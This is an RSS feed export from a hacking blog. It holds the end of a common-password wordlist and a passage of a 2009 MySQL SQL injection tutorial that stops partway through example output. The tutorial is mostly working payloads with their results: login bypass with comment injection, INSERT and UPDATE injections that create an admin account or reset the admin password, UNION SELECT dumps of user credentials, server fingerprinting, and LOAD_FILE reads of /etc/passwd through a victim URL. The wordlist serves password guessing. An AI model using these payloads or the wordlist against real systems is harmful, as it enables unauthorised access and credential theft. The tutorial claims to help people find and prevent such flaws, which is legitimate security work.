<p>pacific pad painless pakistan pam pamela paper papers pass password pat patricia patty paula pencil penelope penguin penis peoria percolate persimmon persona pete peter philip phoenix phone pierre pizza plane playboy plover pluto plymouth polly polynomial pondering pork porsche poster power praise precious prelude presto prince princeton priv private privs professor profile program protect protozoa pub public pumpkin puneet puppet</p>
<p>qwerty</p>
<p>rabbit rachel rachelle rachmaninoff rainbow raindrop raleigh random rascal reagan really rebecca regional remote renee rick ripple risc rje robin robot robotics robyn rochelle rochester rodent rolex romano ronald root rose rosebud rosemary roses ruben rules ruth</p>
<p>sal samantha sandra sandy sara sarah saturn saxon scamper scheme school scott scotty secret security sensor serenity service sesame sex shannon sharc shark sharks sharon sheffield sheldon shell sherri shirley shit shiva shivers shuttle signature simon simple simpsons singer single smile smiles smooch smother snatch snoopy soap socrates somebody sondra sonia sonya sossina sparrows spit spring springer squires stacey staci stacie stacy steph stephanie strangle stratford student stuttgart subway success summer sun super superstage superuser support supported surfer susan susanne susie suzanne suzie swearer sybil symmetry sys sysadmin system</p>
<p>tamara tami tamie tammy tangerine tape tara target tarragon taylor tech telephone temptation tennis terminal test thailand theresa tiffany tiger tina toggle tomato topography tortoise toxic toyota traci tracie tracy trails transfer trisha trivial trombone tty tubas tuttle</p>
<p>umesh unhappy unicorn unix unknown uranus urchin ursula util utility uucp</p>
<p>valerie vasant venus veronica vertigo vicky village virgin virginia visitor</p>
<p>wargames warren water weenie wendi wendy whatever whatnot whiting whitney wholesale will william williamsburg willie wilma winston wisconsin wizard wombat woodwind word work wormwood wyoming</p>
<p>xfer xmodem xyz xyzzy</p>
<p>yaco yang yellowstone yolanda yosemite</p>
<p>zap zimmerman zmodem</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=67&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/05/800-most-commonly-chosen-passwords/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>MySQL: Secure Web Apps &#8211; SQL Injection techniques</title>
		<link>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/</link>
		<comments>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 21:14:39 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[user]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=55</guid>
		<description><![CDATA[
		
		
		
		-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
Introduction
Injecting SQL
Exploiting a Login Form
Exploiting Different SQL Statement Type
Basic Victim Fingerprinting
Standard Blind SQL Injection
Double Query
Filters Evasion
SQL Injection Prevention
Conclusion
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;

&#8212;[  Introduction ]
Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.
I know that [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "MySQL%3A+Secure+Web+Apps+%26%238211%3B+SQL+Injection+techniques";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "-&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;IntroductionInjecting SQLExploiting a Login FormExploiting Different SQL Statement TypeBasic Victim FingerprintingStandard Blind SQL InjectionDouble QueryFilters EvasionSQL Injection PreventionConclusion&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Hi...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Introduction<br />
Injecting SQL<br />
Exploiting a Login Form<br />
Exploiting Different SQL Statement Type<br />
Basic Victim Fingerprinting<br />
Standard Blind SQL Injection<br />
Double Query<br />
Filters Evasion<br />
SQL Injection Prevention<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><span id="more-55"></span></p>
<p>&#8212;[  Introduction ]</p>
<p>Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning<br />
Web Application Security. The aim of these lines are to help you to understand security<br />
flaws regarding SQL Injection.</p>
<p>I know that maybe lots of things here explained are a little bit old; but lots of people<br />
asked to me by email how to find/to prevent SQL Injection flaws in their codes.</p>
<p>Yes, we could say that this is the second part of my first paper regarding PHP flaws<br />
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection<br />
(The reason? The focus was on an other principal theme).</p>
<p>How I wrote this paper? In my free time, a couple of lines to help people to find, prevent<br />
this kind of attacks. I hope you enjoy it. For any question or whatever please<br />
contact me here: omni_0 [at] yahoo [DOT] com .<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Injecting SQL ]</p>
<p>As you know almost every dynamic web applications use a database (here we talk<br />
about web application based on &#8220;LAMP architecture&#8221;) to store any kind of data needed<br />
by the application such as images path, texts, user accounts, personal information,<br />
goods in stock, etc.</p>
<p>The web application access to those information by using the SQL (Structured Query<br />
Language). This kind of applications construct one or more SQL Statement to query<br />
the DataBase (and for example to retrieve data); but this query sometimes incorporporate<br />
user-supplied data. (take in mind this)</p>
<p>What about SQL? SQL is a DML (Data Manipulation Language) that is used<br />
to insert, retrive and modify records present in the DataBase.</p>
<p>As I said before web application uses user-supplied data to query the DB but if the<br />
supplied data is not properly sanitized before being used this can be unsafe and<br />
an attacker can INJECT HIS OWN SQL code.<br />
These flaws can be very destructive because an attacker can:</p>
<p>- Inject his data<br />
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)<br />
- and so on..</p>
<p>The fundamentals of SQL Injection are similar to lots of DBMS but, as you know<br />
there are some differences, in this paper I will cover &#8220;Exploting SQL Injection<br />
in MySQL DBMS&#8221; as said upon (this means that if you want to test techniques here<br />
explained on others DBMS you need to try at your own).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Exploiting a Login Form ]</p>
<p>Sometimes happends that coders doesn&#8217;t properly sanitize 2 important variables<br />
such as user-name and password in the login form and this involve a critical<br />
vulnerability that will allow to the attacker the access to a reserved area.</p>
<p>Let&#8217;s make an example query here below:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; and password = &#8217;secret&#8217;</p>
<p>With this query the admin supply the username &#8216;admin&#8217; and the password &#8217;secret&#8217;<br />
if those are true, the admin will login into the application.<br />
Let us suppose that the script is vulnerabile to sql injection; what happends<br />
if we know the admin username (in this case &#8216;admin&#8217;)? We don&#8217;t know the password, but<br />
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.<br />
In this way:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; /*&#8217; and password = &#8216;foobar&#8217;</p>
<p>So, we supplied this information:</p>
<p>- As username = admin&#8217; /*<br />
- As password = foobar (what we want..)</p>
<p>Yes, the query will be true because admin is the right username but then with the<br />
&#8216; /* &#8216; symbol we commented the left SQL Statement.</p>
<p>Here below a funny (but true) example:</p>
<p>$sql = &#8220;SELECT permissions, username FROM $prefix&#8221;.&#8221;auth WHERE<br />
username = &#8216;&#8221; . $_POST['username'] . &#8220;&#8216; AND password = MD5(&#8217;&#8221;.$_POST['wordpass'].&#8221;&#8216;);&#8221;;</p>
<p>$query = mysql_query($sql, $conn);</p>
<p>The variables passed with the POST method are not properly sanitized before being used<br />
and an attacker can inject sql code to gain access to the application.<br />
This is a simple attack but it has a very critical impact.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Exploiting Different SQL Statement Type ]</p>
<p>SQL Language uses different type of statements that could help the programmer to<br />
make different queries to the DataBase; for example a SELECTion of record,<br />
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can<br />
&#8220;hack the query&#8221; in multiple ways; here below some examples.</p>
<p>SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SELECT Statement is used to retrieve information from the database; and is<br />
frequentely used &#8220;in every&#8221; application that returns information in response<br />
to a user query. For example SELECT is used for login forms, browsing catalog, viewing<br />
users infos, user profiles, in search engines, etc. The &#8220;point of failure&#8221; is<br />
often the WHERE clause where exactly the users put their supplied arguments.</p>
<p>But sometimes happends that the &#8220;point of failure&#8221; is in the FROM clause; this<br />
happends very rarely.</p>
<p>INSERT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSERT statement is used to add new row in the table; and sometimes the application<br />
doesn&#8217;t properly sanitize the data, so a query like the beneath could be vulnerable:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;new&#8217;, &#8216;pwd&#8217;, 10)</p>
<p>What happends if the pwd or username are not safe? We can absolutely &#8220;hack the<br />
query&#8221; and perform a new interesting query as shown below:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;hacker&#8217;, &#8216;test&#8217;, 1)/*&#8217;, 3)</p>
<p>In this example the pwd field is unsafe and is used to create a new user with<br />
the admin privilege (privilege = 1):</p>
<p>$SQL= &#8220;INSERT INTO usr (user, pwd, id) VALUES (&#8217;new&#8217;, &#8216;&#8221;.$_GET['p'].&#8221;&#8216;, 3)&#8221;;</p>
<p>$result = mysql_query($SQL);</p>
<p>UPDATE Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>UPDATE statement is used (as the word says) to UPDATE one or more records.<br />
This type of statement is used when users (logged into the application) need<br />
to change their own profile information; such as password, the billing address,<br />
etc. An example of how the UPDATE statement works is shown below:</p>
<p>UPDATE usr SET pwd=&#8217;newpwd&#8217; WHERE user = &#8216;billyJoe&#8217; and password = &#8216;Billy&#8217;</p>
<p>The field pwd in the update_profile.php form is absolutely &#8220;a user-supply data&#8221;; so,<br />
try to imagine what happends if the code is like the (vulnerable) code pasted below:</p>
<p>$SQL = &#8220;UPDATE usr SET pwd=&#8217;&#8221;.$_GET['np'].&#8221;&#8216; WHERE user = &#8216;billyJoe&#8217; and pwd = &#8216;Billy&#8217;&#8221;;<br />
$result = mysql_query($SQL);</p>
<p>In this query the password needs to be correct (so, the user needs to know his own password <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )<br />
and the password will be supplied with the GET method; but leave out this detail (it&#8217;s not so important<br />
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that<br />
is not sanitized); what happeds if we will inject our code here? Let see below:</p>
<p>UPDATE usr SET pwd=&#8217;owned&#8217; WHERE user=&#8217;admin&#8217;/*&#8217; WHERE user = &#8216;ad&#8217; and pwd = &#8217;se&#8217;</p>
<p>here we just changed the admin password to &#8216; owned &#8216; <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  sounds interesting right?</p>
<p>UNION SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>The &#8220;UNION SELECT Statement&#8221; is used in SQL to combine the results of 2<br />
or more different SELECT query; obviously in one result.<br />
This kind of statement is very interesting because when you have a SELECT query<br />
often you can add your own UNION SELECT statement to combine the queries (sure,<br />
only if you have a &#8220;bugged sql statement&#8221;) and view the 2 (or more) results in only<br />
one result set. To better understand what I mean I think is better to see an interesting<br />
example and put our hands on it.</p>
<p>Here is our vulnerable code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'];</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>// Our query is TRUE<br />
if ($result) {<br />
echo &#8216;&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;&#8217;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {</p>
<p>echo &#8216;&lt;br&gt;Title:&#8217;.$row[1].&#8217;&lt;br&gt;&#8217;;<br />
echo &#8216;&lt;br&gt;News:&lt;br&gt;&#8217;.$row[2];<br />
}</p>
<p>}</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As we can see the $SQL variable is vulnerable and an attacker can inject his own<br />
code into it and then gain interesting information. What happends if via browser we<br />
call this URL: http://www.victim.net/CMS/view.php?id=1 ?</p>
<p>Nothing interesting, just our news with the ID equal to 1, here below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>How to make this interesting? <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  We can use our UNION SELECT operator, and the<br />
resultant query will be:</p>
<p>select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1</p>
<p>What is gonna happend? Look below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:secret</p>
<p>News:<br />
1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&#8220;Title: secret&#8221; is the admin password (ID = 1 is the admin in most cases) and the 1 in the &#8220;News:&#8221;<br />
is the admin ID. So, why our output is so strange? This is not strange our tables has been made<br />
in different ways. Just to make things clear look the tables below:</p>
<p>mysql&gt; select * from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| user   | pwd    | id    |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| admin | secret |    1 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| ad     | aaaaa  |    2 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| new   | test    |    5 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select * from news;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | title                | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 | testing news    | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    2 | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Our UNION SELECT query will be:</p>
<p>mysql&gt; select * from news where id = 1 union select * from usr where id = 1;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id      | title              | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1       | testing news | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| admin | secret          | 1                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Is now clear? We have found the admin password. It&#8217;s great!</p>
<p>Ok, lets go deeper; what happends if we have 2 tables with a different number of<br />
columns? Unfortunaltely UNION SELECT doesn&#8217;t work as show upon. I want to make<br />
2 different examples to help you.</p>
<p>LESS FIELDS<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| title               | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| testing news 2 | could be bypassed easily?      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews union select * from usr;<br />
ERROR 1222 (21000): The used SELECT statements have a different number of columns</p>
<p>Yes, this is what happends if the UNION SELECT is used and the tables have a different<br />
number of columns. So, what we can do to bypass this?</p>
<p>mysql&gt; select * from Anews union select id, CONCAT_WS(&#8217; &#8211; &#8216;, user, pwd) from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| title          | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   | admin &#8211; secret                |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 2                  | ad &#8211; aaaaa                      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5                 | new &#8211; test                       |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>We bypassed &#8220;the problem&#8221; just using a MySQL function CONCAT_WS (CONCAT can be used too).<br />
Take in mind that different DBMS works in different way. I&#8217;m explaining in a general manner; therefore<br />
sometimes you have to find other ways. <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>MORE FIELDS<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select * from fnews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id   | pri   | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|    1 |    0 | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>What we can do now? Easy, just add a NULL field!!</p>
<p>mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    1 | admin             | secre                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    2 | ad                 | aaaaa                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    5 | new               | test                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Basic Victim Fingerprinting ]</p>
<p>In this part of the paper I&#8217;ll explain some easy, but interesting, ways used while trying to do<br />
information gathering before the Vulnerability Assessment and Penetration Test steps.</p>
<p>This is our scenario: we found a bugged Web Application on the host and we can inject our<br />
SQL code.</p>
<p>So, what we need to know? Could be interesting to know the mysql server version;<br />
maybe it&#8217;s a bugged version and we can exploit it.</p>
<p>How to do that? (I will not use bugged code; I&#8217;ll just make some examples. Use your<br />
mind to understand how to use &#8220;these tips&#8221;)</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                               | pri     | title                | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                                |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5.0.22-Debian               | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Here our mysql version. Also the OS has been putted on the screen <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (take in mind that<br />
sometimes these information are modified).</p>
<p>Could be interesting to know the server time:</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id                           | pri     | title               | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1                            |    0   | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Yes, sometimes is useful to know what is the user used to connect to the database.</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                  | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| omni@localhost | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An interesting function implemented in mysql server is LOAD_FILE that, as the<br />
word say, is able to load a file. What we can do with this? gain information and<br />
read files. Here below the query used as example:</p>
<p>select * from news where id=1 union select NULL,NULL,LOAD_FILE(&#8217;/etc/passwd&#8217;) from usr;</p>
<p>This is what my FireFox shows to me:</p>
<p>http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(&#8217;/etc/password&#8217;)%20from%20usr;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:</p>
<p>News:<br />
root:x:0:0:root:/root:/bin/bash<br />
